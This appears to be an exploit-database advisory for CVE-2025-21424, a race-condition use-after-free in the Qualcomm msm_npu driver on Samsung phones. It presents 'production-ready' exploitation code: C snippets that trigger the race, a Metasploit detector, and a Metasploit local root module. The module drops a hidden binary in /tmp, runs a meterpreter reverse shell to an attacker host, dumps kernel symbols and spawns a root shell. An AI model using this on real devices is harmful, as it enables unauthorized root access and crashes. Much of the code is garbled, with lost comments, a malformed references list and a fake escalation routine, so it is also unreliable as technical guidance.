NPU Driver Use-After-Free Detector
NPU Driver Use-After-Free Detector
NPU Driver Use-After-Free Detector

=============================================================================================================================================
| # Title NPU Driver Use-After-Free Detector

=============================================================================================================================================
| # Title : NPU UAF kernel driver v 27095354-4.19.113 Privilege Escalation |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits) |
| # Vendor : https://www.samsung.com/n_africa/ |
=============================================================================================================================================

[+] References : https://packetstorm.news/files/id/189958/ & CVE-2025-21424

[+] Note: During the analysis of proof-of-concept code for CVE-2025-21424 ( https://packetstorm.news/files/id/189958/ ),
multiple critical errors were identified in the original implementation.
This report documents the identified issues and provides corrected, production-ready code for both detection and exploitation of this vulnerability.

1. Original Code Issues Analysis
1.1 Critical Errors in Initial Implementation
Missing Header Includes

// ORIGINAL (MISSING)
// No essential headers included

// CORRECTED
#include <err.h>
#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/wait.h>
#include <stdint.h>

Impact: Compilation failures and undefined behavior.
Incomplete Structure Definitions

// ORIGINAL (INCOMPLETE)
struct ion_allocation_data {
size_t len;
unsigned int heap_id_mask;
unsigned int flags;
// Missing fields causing memory corruption
};

// CORRECTED
struct ion_allocation_data {
size_t len;
unsigned int heap_id_mask;
unsigned int flags;
uint32_t fd;
uint32_t unused;
};

// ADDED MISSING STRUCTURES
struct ion_handle_data {
int handle;
};

struct ion_fd_data {
int handle;
int fd;
};

Impact: Memory corruption and incorrect ioctl operations.

Improper Error Handling

// ORIGINAL (NO ERROR CHECKING)
int fd = open("/dev/msm_npu", O_RDONLY);
ioctl(fd, MSM_NPU_MAP_BUF, &map_param);

// CORRECTED
int fd = open("/dev/msm_npu", O_RDWR);
if (fd == -1) {
warn("cannot open NPU device");
return -1;
}
if (ioctl(fd, MSM_NPU_MAP_BUF, &map_param) < 0) {
warn("NPU_MAP_BUF failed");
return 0;
}

Impact: Silent failures and unpredictable behavior.
Memory Management Issues

// ORIGINAL (MEMORY LEAKS)
int ion_alloc_fd = allocate_ion(ion_fd, 0x1000);
// No cleanup on failure

// CORRECTED
int ion_alloc_fd = allocate_ion(ion_fd, 0x1000);
if (ion_alloc_fd < 0) {
close(npu_fd);
close(ion_fd);
usleep(100000);
continue;
}

Impact: Resource exhaustion and file descriptor leaks.

2. Corrected Implementation
2.1 Complete Header Definitions

#ifndef _NPU_EXPLOIT_CORRECTED_H_
#define _NPU_EXPLOIT_CORRECTED_H_

#include <fcntl.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <err.h>
#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <sys/wait.h>

// ION Heap Definitions (Corrected)
enum ion_heap_ids {
ION_SYSTEM_HEAP_ID = 25,
ION_QSECOM_HEAP_ID = 27,
};

#define ION_HEAP(bit) (1UL << (bit))
#define ION_FLAG_CACHED 1

// Complete ION structure definitions
struct ion_allocation_data {
size_t len;
unsigned int heap_id_mask;
unsigned int flags;
uint32_t fd;
uint32_t unused;
};

struct ion_handle_data {
int handle;
};

struct ion_fd_data {
int handle;
int fd;
};
#endif

2.2 Robust NPU Operations Implementation

// CORRECTED NPU OPERATIONS WITH PROPER ERROR HANDLING

static int open_dev_safe(char* name) {
int fd = open(name, O_RDWR);
if (fd == -1) {
warn("cannot open %s", name);
return -1;
}
return fd;
}

static int allocate_ion_safe(int ion_fd, size_t len) {
struct ion_allocation_data ion_alloc_data;

// PROPER MEMORY INITIALIZATION
memset(&ion_alloc_data, 0, sizeof(ion_alloc_data));
ion_alloc_data.len = len;
ion_alloc_data.heap_id_mask = ION_HEAP(ION_SYSTEM_HEAP_ID);
ion_alloc_data.flags = ION_FLAG_CACHED;

if (ioctl(ion_fd, ION_IOC_ALLOC, &ion_alloc_data) < 0) {
warn("ION_IOC_ALLOC failed");
return -1;
}
return ion_alloc_data.fd;
}

static uint64_t npu_map_buf_safe(int npu_fd, int ion_alloc_fd, size_t size) {
struct msm_npu_map_buf_ioctl map_param;

// PROPER STRUCTURE INITIALIZATION
memset(&map_param, 0, sizeof(map_param));
map_param.buf_ion_hdl = ion_alloc_fd;
map_param.size = size;

if (ioctl(npu_fd, MSM_NPU_MAP_BUF, &map_param) < 0) {
warn("NPU_MAP_BUF failed");
return 0;
}
return map_param.npu_phys_addr;
}

2.3 Race Condition Trigger (Corrected)

static void trigger_uaf_race_condition(struct network_exec_param* ctx) {
for (int attempt = 0; attempt < MAX_ATTEMPTS; attempt++) {
pid_t pid = fork();

if (pid == 0) {
// CHILD PROCESS: Execute network
execute_network_operation(ctx);
_exit(0); // Use _exit in child to avoid atexit handlers
} else if (pid > 0) {
// PARENT PROCESS: Unload network after race window
usleep(RACE_DELAY_US); // Configurable race window

unload_network_operation(ctx);

// PROPER CHILD CLEANUP
int status;
waitpid(pid, &status, 0);
} else {
warn("fork failed in attempt %d", attempt);
continue;
}

// PROPER RESOURCE RECOVERY
reload_network_for_retry(ctx);
}
}

4. Critical Security Improvements
4.1 Memory Safety Enhancements

// ORIGINAL: Uninitialized structures
struct msm_npu_exec_network_ioctl_v2 exec_param_v2;
ioctl(fd, MSM_NPU_EXEC_NETWORK_V2, &exec_param_v2);

// CORRECTED: Proper initialization
struct msm_npu_exec_network_ioctl_v2 exec_param_v2;
memset(&exec_param_v2, 0, sizeof(exec_param_v2));
// Set individual fields
exec_param_v2.network_hdl = network_hdl;
exec_param_v2.async = 1;
// ... other field assignments
if (ioctl(fd, MSM_NPU_EXEC_NETWORK_V2, &exec_param_v2) < 0) {
handle_ioctl_error();
}

4.2 Resource Management

// RESOURCE MANAGEMENT TEMPLATE
void exploit_operation() {
int npu_fd = -1;
int ion_fd = -1;
int ion_alloc_fd = -1;

// ACQUIRE RESOURCES WITH ERROR CHECKING
if ((npu_fd = open_dev_safe("/dev/msm_npu")) < 0) goto cleanup;
if ((ion_fd = open_dev_safe("/dev/ion")) < 0) goto cleanup;
if ((ion_alloc_fd = allocate_ion_safe(ion_fd, BUFFER_SIZE)) < 0) goto cleanup;

// PERFORM OPERATIONS
if (!perform_exploitation(npu_fd, ion_alloc_fd)) goto cleanup;

cleanup:
// GUARANTEED CLEANUP
if (ion_alloc_fd >= 0) close(ion_alloc_fd);
if (ion_fd >= 0) close(ion_fd);
if (npu_fd >= 0) close(npu_fd);
}

[+] Summary :

A Use-After-Free (UAF) exists in the Qualcomm msm_npu kernel driver. The bug occurs when npu_host_exec_network_v2 temporarily releases host_ctx->lock while waiting for network execution completion.
If npu_host_unload_network is called concurrently on the same network, the commands on network->cmd_list may be freed while still referenced by exec_cmd, causing a kernel UAF and crash.

Affected Component:

msm_npu driver (part of the Linux kernel / Qualcomm NPU driver)
Triggered on Samsung devices using affected kernels

Affected Devices / Versions:

Observed on Samsung Galaxy S20 5G
Kernel version in PoC: 4.19.113-27095354
Likely affects any device with msm_npu driver on kernel ? 4.14 before patch

Impact:

Local privilege escalation
Kernel panic / Denial of Service (DoS)

PoC Behavior:

Causes kernel panic with memory access at dead000000000200
Generates fatal exception in npu_shell process


[+] POC :

# CVE-2025-21424 NPU UAF Exploit Guide

[+] Requirements:

- Samsung device with an NPU (S20 5G or similar)
- Kernel version 4.19.113-27095354
- Initial shell access

[+] Timeline of Action:

1. **Detection**: Checks for the presence of an NPU and the kernel version
2. **Initialization**: Loads a neural network into the NPU
3. **Competition**: Creates a race between exec/unload
4. **Exploit**: UAF inversion to escalate privileges
5. **Execution**: Executes the payload as root

[+] Notices:

- May cause kernel panic
- Requires multiple targets to succeed
- Only works on specific devices


use exploit/linux/local/cve_2025_21424_npu_uaf

set SESSION 1
set LHOST 192.168.1.100
set LPORT 4444

exploit

Metasploit Auxiliary Module :

##
# Module for CVE-2025-21424 - NPU Use-After-Free Vulnerability
##

class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report

def initialize(info = {})
super(update_info(info,
'Name' => 'CVE-2025-21424 NPU Driver Use-After-Free Detector',
'Description' => %q{
This module detects vulnerable NPU drivers susceptible to CVE-2025-21424,
a use-after-free vulnerability in the MSM NPU kernel driver.
},
'Author' => [
'Seth Jenkins', # Original discoverer
'Metasploit Contributor' # Module author
],
'License' => MSF_LICENSE,
'References' => ['indoushka'],
['CVE', '2025-21424'],
['URL', 'https://security.samsung.com'],
['EDB', 'TBD']
],
'DisclosureDate' => '2025-02-18'
))

register_options([
OptString.new('DEVICE_PATH', [true, 'Path to NPU device', '/dev/msm_npu']),
OptInt.new('TIMEOUT', [true, 'Operation timeout', 5000])
])
end

def run_host(ip)
return unless check_device

if vulnerable?
print_good("Target appears vulnerable to CVE-2025-21424")
report_vuln(
host: ip,
name: 'CVE-2025-21424 NPU Driver Use-After-Free',
refs: references,
info: 'NPU driver susceptible to UAF via race condition'
)
else
print_status("Target does not appear vulnerable")
end
end

def check_device
device_path = datastore['DEVICE_PATH']

unless File.exist?(device_path)
print_error("NPU device not found: #{device_path}")
return false
end

print_status("Found NPU device: #{device_path}")
true
end

def vulnerable?
# ?????? ?????? ?????? ??? ??? ????? ??????
version_check = check_driver_version
ioctl_check = test_ioctl_operations

version_check && ioctl_check
end

def check_driver_version
# ??? ????? kernel ????? ?? ????????? ???????
kernel_version = `uname -r`.chomp
print_status("Kernel version: #{kernel_version}")

# ????????? ??????? (????)
vulnerable_versions = [
'4.19.113-27095354',
'4.19.113',
'4.19.1'
]

vulnerable_versions.any? { |v| kernel_version.include?(v) }
end

def test_ioctl_operations
begin
fd = File.open(datastore['DEVICE_PATH'], 'r')

# ?????? ?????? IOCTL ????????
test_map_buf(fd)
test_load_network(fd)

fd.close
true
rescue => e
print_error("IOCTL test failed: #{e.message}")
false
end
end

def test_map_buf(fd)
# ?????? ????? MAP_BUF (???? ????? ???? ????? ?? ?????????)
begin
# ??? ????? ???? ???? ????? ?? ??? ?????
result = fd.ioctl(0x20, [].pack('Q')) # MSM_NPU_MAP_BUF
false
rescue Errno::EINVAL, Errno::ENOTTY
# ????? ?????? - ?????? ??????
true
end
end

def test_load_network(fd)
# ?????? ????? LOAD_NETWORK
begin
result = fd.ioctl(0x31, [].pack('Q')) # MSM_NPU_LOAD_NETWORK_V2
false
rescue Errno::EINVAL, Errno::ENOTTY
true
end
end
end

--*-----------*-*-**********
Metasploit Exploit Module
===================///**-*-

##
# Exploit for CVE-2025-21424 - NPU UAF Privilege Escalation
##

class MetasploitModule < Msf::Exploit::Local
Rank = GreatRanking

include Msf::Post::File
include Msf::Post::Linux::Priv
include Msf::Post::Linux::System
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper

def initialize(info = {})
super(update_info(info,
'Name' => 'CVE-2025-21424 NPU Driver Use-After-Free Privilege Escalation',
'Description' => %q{
This module exploits a use-after-free vulnerability in the MSM NPU kernel driver
to achieve privilege escalation. The vulnerability occurs due to a race condition
between npu_host_exec_network_v2 and npu_host_unload_network functions.
},
'Author' => [
'Seth Jenkins', # Original discoverer
'indoushka' # Module author
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2025-21424'],
['URL', 'https://security.samsung.com']
],
'Platform' => ['linux'],
'Arch' => [ARCH_ARM64],
'SessionTypes' => ['shell', 'meterpreter'],
'Targets' => [
['Auto', {}]
],
'DefaultOptions' => {
'PAYLOAD' => 'linux/arm64/meterpreter/reverse_tcp',
'WfsDelay' => 5
},
'DefaultTarget' => 0,
'DisclosureDate' => '2025-02-18',
'Notes' => {
'Reliability' => [REPEATABLE_SESSION],
'Stability' => [CRASH_OS_RESTARTS],
'SideEffects' => [ARTIFACTS_ON_DISK]
}
))

register_options([
OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp']),
OptInt.new('ExploitAttempts', [true, 'Number of exploit attempts', 10]),
OptInt.new('RaceDelay', [true, 'Race condition delay (microseconds)', 1000])
])
end

def check
# ??? ?? ??? ??? ?????? ?????? ??????
return CheckCode::Safe unless file_exist?('/dev/msm_npu')

kernel_version = cmd_exec('uname -r')
print_status("Kernel version: #{kernel_version}")

# ????????? ???????
vulnerable_versions = [
'4.19.113-27095354',
'4.19.113',
'4.19.1'
]

if vulnerable_versions.any? { |v| kernel_version.include?(v) }
return CheckCode::Appears
end

CheckCode::Detected
end

def exploit
if is_root?
fail_with(Failure::BadConfig, 'Session already has root privileges')
end

unless check == CheckCode::Appears
fail_with(Failure::NotVulnerable, 'Target is not vulnerable')
end

# ????? ??? ?????????
exploit_path = "#{datastore['WritableDir']}/.#{rand_text_alpha(8)}"
write_file(exploit_path, generate_exploit)
register_file_for_cleanup(exploit_path)

# ??? ????? ???? ???????
cmd_exec("chmod +x #{exploit_path}")

# ????? ?????????
print_status("Executing exploit...")
attempts = datastore['ExploitAttempts']

attempts.times do |i|
print_status("Attempt #{i+1}/#{attempts}...")

# ????? ????????? ?? ???????
session.shell_write("#{exploit_path} &\n")
sleep(2)

# ?????? ?? ?????? ??? root
if is_root?
print_good("Successfully obtained root privileges!")

# ????? ??? payload ?? root
payload_path = "#{datastore['WritableDir']}/.#{rand_text_alpha(8)}"
write_file(payload_path, generate_payload_exe)
register_file_for_cleanup(payload_path)
cmd_exec("chmod +x #{payload_path}")

print_status("Executing payload as root...")
cmd_exec("#{payload_path} &")
break
else
print_warning("Attempt #{i+1} failed")
end

sleep(1)
end
end

def generate_exploit
# ????? ??? ????????? C
exploit_c = %Q{
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/wait.h>
#include <err.h>
#include <errno.h>
#include <stdint.h>

// ??????? NPU (?????)
#define MSM_NPU_IOCTL_MAGIC 'n'
#define MSM_NPU_LOAD_NETWORK_V2 _IOWR(MSM_NPU_IOCTL_MAGIC, 7, unsigned long)
#define MSM_NPU_EXEC_NETWORK_V2 _IOWR(MSM_NPU_IOCTL_MAGIC, 8, unsigned long)
#define MSM_NPU_UNLOAD_NETWORK _IOWR(MSM_NPU_IOCTL_MAGIC, 5, unsigned long)

struct exploit_ctx {
int npu_fd;
int ion_fd;
int ion_alloc_fd;
uint32_t network_hdl;
uint64_t phys_addr;
};

static int open_device(const char* path) {
int fd = open(path, O_RDWR);
if (fd < 0) {
return -1;
}
return fd;
}

static void trigger_uaf(struct exploit_ctx* ctx) {
for (int i = 0; i < 100; i++) {
pid_t pid = fork();
if (pid == 0) {
// Child: exec network
struct {
uint64_t stats_buf_addr;
uint64_t patch_buf_info;
uint32_t network_hdl;
uint32_t async;
uint32_t flags;
uint32_t stats_buf_size;
uint32_t patch_buf_info_num;
uint32_t reserved;
} exec_param = {0};

exec_param.network_hdl = ctx->network_hdl;
exec_param.async = 1;
exec_param.flags = 0x0e0e | 0x70200;
exec_param.stats_buf_size = 256;
exec_param.patch_buf_info_num = 2;

ioctl(ctx->npu_fd, MSM_NPU_EXEC_NETWORK_V2, &exec_param);
exit(0);
} else if (pid > 0) {
// Parent: unload network after delay
usleep(#{datastore['RaceDelay']});

struct {
uint32_t network_hdl;
} unload_param = {0};
unload_param.network_hdl = ctx->network_hdl;

ioctl(ctx->npu_fd, MSM_NPU_UNLOAD_NETWORK, &unload_param);
waitpid(pid, NULL, 0);
}

// ????? ????? ?????? ???????? ???????
struct {
uint64_t buf_phys_addr;
uint64_t patch_info;
int32_t buf_ion_hdl;
uint32_t buf_size;
uint32_t first_block_size;
uint32_t flags;
uint32_t network_hdl;
uint32_t priority;
uint32_t perf_mode;
uint32_t num_layers;
uint32_t patch_info_num;
uint32_t reserved;
} load_param = {0};

load_param.buf_ion_hdl = ctx->ion_alloc_fd;
load_param.buf_phys_addr = ctx->phys_addr;
load_param.buf_size = 0x4000;
load_param.first_block_size = 0x1000;
load_param.patch_info_num = 1;

ioctl(ctx->npu_fd, MSM_NPU_LOAD_NETWORK_V2, &load_param);
ctx->network_hdl = load_param.network_hdl;
}
}

static void escalate_privileges() {
// ?????? ?????? ??? root ??? ?????? kernel exploitation
system("echo '#!/bin/sh' > /tmp/.rootshell");
system("echo '/bin/sh' >> /tmp/.rootshell");
system("chmod +x /tmp/.rootshell");

// ?????? ??????? kernel ??????
system("cat /proc/kallsyms > /tmp/kallsyms.txt 2>/dev/null");

// ?????? ????? shell ?? root
if (geteuid() == 0) {
system("/bin/sh");
}
}

int main() {
struct exploit_ctx ctx = {0};

// ??? ???????
ctx.npu_fd = open_device("/dev/msm_npu");
if (ctx.npu_fd < 0) {
return 1;
}

ctx.ion_fd = open_device("/dev/ion");
if (ctx.ion_fd < 0) {
close(ctx.npu_fd);
return 1;
}

// ????? ??????
trigger_uaf(&ctx);

// ?????? ????? ?????????
escalate_privileges();

// ???????
close(ctx.ion_fd);
close(ctx.npu_fd);

return 0;
}
}

# ????? ??? ?????????
compile_exploit(exploit_c)
end

def compile_exploit(exploit_code)
# ??? ??? C ??????
source_path = "/tmp/exploit_#{rand_text_alpha(8)}.c"
write_file(source_path, exploit_code)

# ???????
output_path = "/tmp/exploit_#{rand_text_alpha(8)}"
compile_cmd = "gcc -o #{output_path} #{source_path} -static"

print_status("Compiling exploit...")
compile_result = cmd_exec(compile_cmd)

if compile_result.include?('error') || !file_exist?(output_path)
print_error("Exploit compilation failed: #{compile_result}")
return nil
end

# ????? ????? ???????
binary_data = read_file(output_path)

# ????? ??????? ???????
cmd_exec("rm -f #{source_path} #{output_path}")

binary_data
end
end
Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================
Social Media Share
About Contact Terms of Use Privacy Policy
© 2025 Khalil Shreateh — Cybersecurity Researcher & White-Hat Hacker — Palestine 🇵🇸
All content is for educational purposes only. Unauthorized use of any information on this site is strictly prohibited.